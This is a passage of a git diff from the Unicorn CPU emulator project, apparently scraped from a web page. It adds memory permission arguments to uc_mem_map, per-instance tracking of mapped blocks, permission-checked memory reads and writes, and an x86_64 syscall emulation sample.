if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_MEM_WRITE, sizeof(X86_CODE32_MEM_WRITE) - 1)) {
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_MEM_WRITE, sizeof(X86_CODE32_MEM_WRITE) - 1)) {
|
||||||
@ -459,7 +473,7 @@ static void test_i386_jump_invalid(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_JMP_INVALID, sizeof(X86_CODE32_JMP_INVALID) - 1)) {
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_JMP_INVALID, sizeof(X86_CODE32_JMP_INVALID) - 1)) {
|
||||||
@ -515,7 +529,7 @@ static void test_i386_inout(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_INOUT, sizeof(X86_CODE32_INOUT) - 1)) {
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_INOUT, sizeof(X86_CODE32_INOUT) - 1)) {
|
||||||
@ -590,7 +604,7 @@ static void test_x86_64(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE64, sizeof(X86_CODE64) - 1)) {
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE64, sizeof(X86_CODE64) - 1)) {
|
||||||
@ -672,6 +686,57 @@ static void test_x86_64(void)
|
|||||||
uc_close(uc);
|
uc_close(uc);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static void test_x86_64_syscall(void)
|
||||||
|
{
|
||||||
|
struct uc_struct *uc;
|
||||||
|
uc_hook_h trace1;
|
||||||
|
uc_err err;
|
||||||
|
|
||||||
|
int64_t rax = 0x100;
|
||||||
|
|
||||||
|
printf("===================================\n");
|
||||||
|
printf("Emulate x86_64 code with 'syscall' instruction\n");
|
||||||
|
|
||||||
|
// Initialize emulator in X86-64bit mode
|
||||||
|
err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc);
|
||||||
|
if (err) {
|
||||||
|
printf("Failed on uc_open() with error returned: %u\n", err);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// map 2MB memory for this emulation
|
||||||
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
|
// write machine code to be emulated to memory
|
||||||
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE64_SYSCALL, sizeof(X86_CODE64_SYSCALL) - 1)) {
|
||||||
|
printf("Failed to write emulation code to memory, quit!\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// hook interrupts for syscall
|
||||||
|
uc_hook_add(uc, &trace1, UC_HOOK_INSN, hook_syscall, NULL, UC_X86_INS_SYSCALL);
|
||||||
|
|
||||||
|
// initialize machine registers
|
||||||
|
uc_reg_write(uc, UC_X86_REG_RAX, &rax);
|
||||||
|
|
||||||
|
// emulate machine code in infinite time (last param = 0), or when
|
||||||
|
// finishing all the code.
|
||||||
|
err = uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE64_SYSCALL) - 1, 0, 0);
|
||||||
|
if (err) {
|
||||||
|
printf("Failed on uc_emu_start() with error returned %u: %s\n",
|
||||||
|
err, uc_strerror(err));
|
||||||
|
}
|
||||||
|
|
||||||
|
// now print out some registers
|
||||||
|
printf(">>> Emulation done. Below is the CPU context\n");
|
||||||
|
|
||||||
|
uc_reg_read(uc, UC_X86_REG_RAX, &rax);
|
||||||
|
|
||||||
|
printf(">>> RAX = 0x%" PRIx64 "\n", rax);
|
||||||
|
|
||||||
|
uc_close(uc);
|
||||||
|
}
|
||||||
|
|
||||||
static void test_x86_16(void)
|
static void test_x86_16(void)
|
||||||
{
|
{
|
||||||
struct uc_struct *uc;
|
struct uc_struct *uc;
|
||||||
@ -692,7 +757,7 @@ static void test_x86_16(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 8KB memory for this emulation
|
// map 8KB memory for this emulation
|
||||||
uc_mem_map(uc, 0, 8 * 1024);
|
uc_mem_map(uc, 0, 8 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, 0, (uint8_t *)X86_CODE16, sizeof(X86_CODE64) - 1)) {
|
if (uc_mem_write(uc, 0, (uint8_t *)X86_CODE16, sizeof(X86_CODE64) - 1)) {
|
||||||
@ -740,6 +805,7 @@ int main(int argc, char **argv, char **envp)
|
|||||||
|
|
||||||
if (!strcmp(argv[1], "-64")) {
|
if (!strcmp(argv[1], "-64")) {
|
||||||
test_x86_64();
|
test_x86_64();
|
||||||
|
test_x86_64_syscall();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!strcmp(argv[1], "-16")) {
|
if (!strcmp(argv[1], "-16")) {
|
||||||
|
@ -104,7 +104,7 @@ static void test_i386(void)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024);
|
uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_SELF, sizeof(X86_CODE32_SELF) - 1)) {
|
if (uc_mem_write(uc, ADDRESS, (uint8_t *)X86_CODE32_SELF, sizeof(X86_CODE32_SELF) - 1)) {
|
||||||
|
133
uc.c
133
uc.c
@ -31,11 +31,6 @@
|
|||||||
|
|
||||||
#include "qemu/include/hw/boards.h"
|
#include "qemu/include/hw/boards.h"
|
||||||
|
|
||||||
// TODO
|
|
||||||
static uint64_t map_begin[32], map_end[32];
|
|
||||||
static int map_count = 0;
|
|
||||||
|
|
||||||
|
|
||||||
UNICORN_EXPORT
|
UNICORN_EXPORT
|
||||||
unsigned int uc_version(unsigned int *major, unsigned int *minor)
|
unsigned int uc_version(unsigned int *major, unsigned int *minor)
|
||||||
{
|
{
|
||||||
@ -85,6 +80,10 @@ const char *uc_strerror(uc_err code)
|
|||||||
return "Invalid hook type (UC_ERR_HOOK)";
|
return "Invalid hook type (UC_ERR_HOOK)";
|
||||||
case UC_ERR_MAP:
|
case UC_ERR_MAP:
|
||||||
return "Invalid memory mapping (UC_ERR_MAP)";
|
return "Invalid memory mapping (UC_ERR_MAP)";
|
||||||
|
case UC_ERR_MEM_WRITE_NW:
|
||||||
|
return "Write to non-writable (UC_ERR_MEM_WRITE_NW)";
|
||||||
|
case UC_ERR_MEM_READ_NR:
|
||||||
|
return "Read from non-readable (UC_ERR_MEM_READ_NR)";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -269,6 +268,8 @@ uc_err uc_close(struct uc_struct *uc)
|
|||||||
uc->root->free(uc->root);
|
uc->root->free(uc->root);
|
||||||
|
|
||||||
free(uc->hook_callbacks);
|
free(uc->hook_callbacks);
|
||||||
|
|
||||||
|
free(uc->mapped_blocks);
|
||||||
|
|
||||||
// finally, free uc itself.
|
// finally, free uc itself.
|
||||||
memset(uc, 0, sizeof(*uc));
|
memset(uc, 0, sizeof(*uc));
|
||||||
@ -302,23 +303,90 @@ uc_err uc_reg_write(struct uc_struct *uc, int regid, const void *value)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
UNICORN_EXPORT
|
// check if a memory area is mapped
|
||||||
uc_err uc_mem_read(struct uc_struct *uc, uint64_t address, uint8_t *bytes, size_t size)
|
// this is complicated because an area can overlap adjacent blocks
|
||||||
|
static bool check_mem_area(struct uc_struct *uc, uint64_t address, size_t size)
|
||||||
{
|
{
|
||||||
if (uc->read_mem(&uc->as, address, bytes, size) == false)
|
size_t count = 0, len;
|
||||||
return UC_ERR_MEM_READ;
|
|
||||||
|
|
||||||
return UC_ERR_OK;
|
while(count < size) {
|
||||||
|
MemoryRegion *mr = memory_mapping(uc, address);
|
||||||
|
if (mr) {
|
||||||
|
len = MIN(size - count, mr->end - address);
|
||||||
|
count += len;
|
||||||
|
address += len;
|
||||||
|
} else // this address is not mapped in yet
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return (count == size);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
UNICORN_EXPORT
|
||||||
|
uc_err uc_mem_read(struct uc_struct *uc, uint64_t address, uint8_t *bytes, size_t size)
|
||||||
|
{
|
||||||
|
if (!check_mem_area(uc, address, size))
|
||||||
|
return UC_ERR_MEM_READ;
|
||||||
|
|
||||||
|
size_t count = 0, len;
|
||||||
|
|
||||||
|
// memory area can overlap adjacent memory blocks
|
||||||
|
while(count < size) {
|
||||||
|
MemoryRegion *mr = memory_mapping(uc, address);
|
||||||
|
if (mr) {
|
||||||
|
len = MIN(size - count, mr->end - address);
|
||||||
|
if (uc->read_mem(&uc->as, address, bytes, len) == false)
|
||||||
|
break;
|
||||||
|
count += len;
|
||||||
|
address += len;
|
||||||
|
bytes += len;
|
||||||
|
} else // this address is not mapped in yet
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (count == size)
|
||||||
|
return UC_ERR_OK;
|
||||||
|
else
|
||||||
|
return UC_ERR_MEM_READ;
|
||||||
|
}
|
||||||
|
|
||||||
UNICORN_EXPORT
|
UNICORN_EXPORT
|
||||||
uc_err uc_mem_write(struct uc_struct *uc, uint64_t address, const uint8_t *bytes, size_t size)
|
uc_err uc_mem_write(struct uc_struct *uc, uint64_t address, const uint8_t *bytes, size_t size)
|
||||||
{
|
{
|
||||||
if (uc->write_mem(&uc->as, address, bytes, size) == false)
|
if (!check_mem_area(uc, address, size))
|
||||||
return UC_ERR_MEM_WRITE;
|
return UC_ERR_MEM_WRITE;
|
||||||
|
|
||||||
return UC_ERR_OK;
|
size_t count = 0, len;
|
||||||
|
|
||||||
|
// memory area can overlap adjacent memory blocks
|
||||||
|
while(count < size) {
|
||||||
|
MemoryRegion *mr = memory_mapping(uc, address);
|
||||||
|
if (mr) {
|
||||||
|
uint32_t operms = mr->perms;
|
||||||
|
if (!(operms & UC_PROT_WRITE)) // write protected
|
||||||
|
// but this is not the program accessing memory, so temporarily mark writable
|
||||||
|
uc->readonly_mem(mr, false);
|
||||||
|
|
||||||
|
len = MIN(size - count, mr->end - address);
|
||||||
|
if (uc->write_mem(&uc->as, address, bytes, len) == false)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (!(operms & UC_PROT_WRITE)) // write protected
|
||||||
|
// now write protect it again
|
||||||
|
uc->readonly_mem(mr, true);
|
||||||
|
|
||||||
|
count += len;
|
||||||
|
address += len;
|
||||||
|
bytes += len;
|
||||||
|
} else // this address is not mapped in yet
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (count == size)
|
||||||
|
return UC_ERR_OK;
|
||||||
|
else
|
||||||
|
return UC_ERR_MEM_WRITE;
|
||||||
}
|
}
|
||||||
|
|
||||||
#define TIMEOUT_STEP 2 // microseconds
|
#define TIMEOUT_STEP 2 // microseconds
|
||||||
@ -358,6 +426,7 @@ uc_err uc_emu_start(struct uc_struct* uc, uint64_t begin, uint64_t until, uint64
|
|||||||
uc->stop_request = false;
|
uc->stop_request = false;
|
||||||
uc->invalid_error = UC_ERR_OK;
|
uc->invalid_error = UC_ERR_OK;
|
||||||
uc->block_full = false;
|
uc->block_full = false;
|
||||||
|
uc->emulation_done = false;
|
||||||
|
|
||||||
switch(uc->arch) {
|
switch(uc->arch) {
|
||||||
default:
|
default:
|
||||||
@ -423,6 +492,11 @@ uc_err uc_emu_start(struct uc_struct* uc, uint64_t begin, uint64_t until, uint64
|
|||||||
// emulation is done
|
// emulation is done
|
||||||
uc->emulation_done = true;
|
uc->emulation_done = true;
|
||||||
|
|
||||||
|
if (timeout) {
|
||||||
|
// wait for the timer to finish
|
||||||
|
qemu_thread_join(&uc->timer);
|
||||||
|
}
|
||||||
|
|
||||||
return uc->invalid_error;
|
return uc->invalid_error;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -430,6 +504,9 @@ uc_err uc_emu_start(struct uc_struct* uc, uint64_t begin, uint64_t until, uint64
|
|||||||
UNICORN_EXPORT
|
UNICORN_EXPORT
|
||||||
uc_err uc_emu_stop(struct uc_struct *uc)
|
uc_err uc_emu_stop(struct uc_struct *uc)
|
||||||
{
|
{
|
||||||
|
if (uc->emulation_done)
|
||||||
|
return UC_ERR_OK;
|
||||||
|
|
||||||
uc->stop_request = true;
|
uc->stop_request = true;
|
||||||
// exit the current TB
|
// exit the current TB
|
||||||
cpu_exit(uc->current_cpu);
|
cpu_exit(uc->current_cpu);
|
||||||
@ -469,8 +546,10 @@ static uc_err _hook_mem_access(struct uc_struct *uc, uc_mem_type type,
|
|||||||
}
|
}
|
||||||
|
|
||||||
UNICORN_EXPORT
|
UNICORN_EXPORT
|
||||||
uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size)
|
uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size, uint32_t perms)
|
||||||
{
|
{
|
||||||
|
MemoryRegion **regions;
|
||||||
|
|
||||||
if (size == 0)
|
if (size == 0)
|
||||||
// invalid memory mapping
|
// invalid memory mapping
|
||||||
return UC_ERR_MAP;
|
return UC_ERR_MAP;
|
||||||
@ -483,25 +562,34 @@ uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size)
|
|||||||
if ((size & (4*1024 - 1)) != 0)
|
if ((size & (4*1024 - 1)) != 0)
|
||||||
return UC_ERR_MAP;
|
return UC_ERR_MAP;
|
||||||
|
|
||||||
map_begin[map_count] = address;
|
// check for only valid permissions
|
||||||
map_end[map_count] = size + map_begin[map_count];
|
if ((perms & ~(UC_PROT_READ | UC_PROT_WRITE)) != 0)
|
||||||
uc->memory_map(uc, map_begin[map_count], size);
|
return UC_ERR_MAP;
|
||||||
map_count++;
|
|
||||||
|
if ((uc->mapped_block_count & (MEM_BLOCK_INCR - 1)) == 0) { //time to grow
|
||||||
|
regions = (MemoryRegion**)realloc(uc->mapped_blocks, sizeof(MemoryRegion*) * (uc->mapped_block_count + MEM_BLOCK_INCR));
|
||||||
|
if (regions == NULL) {
|
||||||
|
return UC_ERR_OOM;
|
||||||
|
}
|
||||||
|
uc->mapped_blocks = regions;
|
||||||
|
}
|
||||||
|
uc->mapped_blocks[uc->mapped_block_count] = uc->memory_map(uc, address, size, perms);
|
||||||
|
uc->mapped_block_count++;
|
||||||
|
|
||||||
return UC_ERR_OK;
|
return UC_ERR_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool memory_mapping(uint64_t address)
|
MemoryRegion *memory_mapping(struct uc_struct* uc, uint64_t address)
|
||||||
{
|
{
|
||||||
unsigned int i;
|
unsigned int i;
|
||||||
|
|
||||||
for(i = 0; i < map_count; i++) {
|
for(i = 0; i < uc->mapped_block_count; i++) {
|
||||||
if (address >= map_begin[i] && address <= map_end[i])
|
if (address >= uc->mapped_blocks[i]->addr && address < uc->mapped_blocks[i]->end)
|
||||||
return true;
|
return uc->mapped_blocks[i];
|
||||||
}
|
}
|
||||||
|
|
||||||
// not found
|
// not found
|
||||||
return false;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static uc_err _hook_mem_invalid(struct uc_struct* uc, uc_cb_eventmem_t callback,
|
static uc_err _hook_mem_invalid(struct uc_struct* uc, uc_cb_eventmem_t callback,
|
||||||
@ -653,4 +741,3 @@ uc_err uc_hook_del(struct uc_struct *uc, uc_hook_h hh)
|
|||||||
{
|
{
|
||||||
return hook_del(uc, hh);
|
return hook_del(uc, hh);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user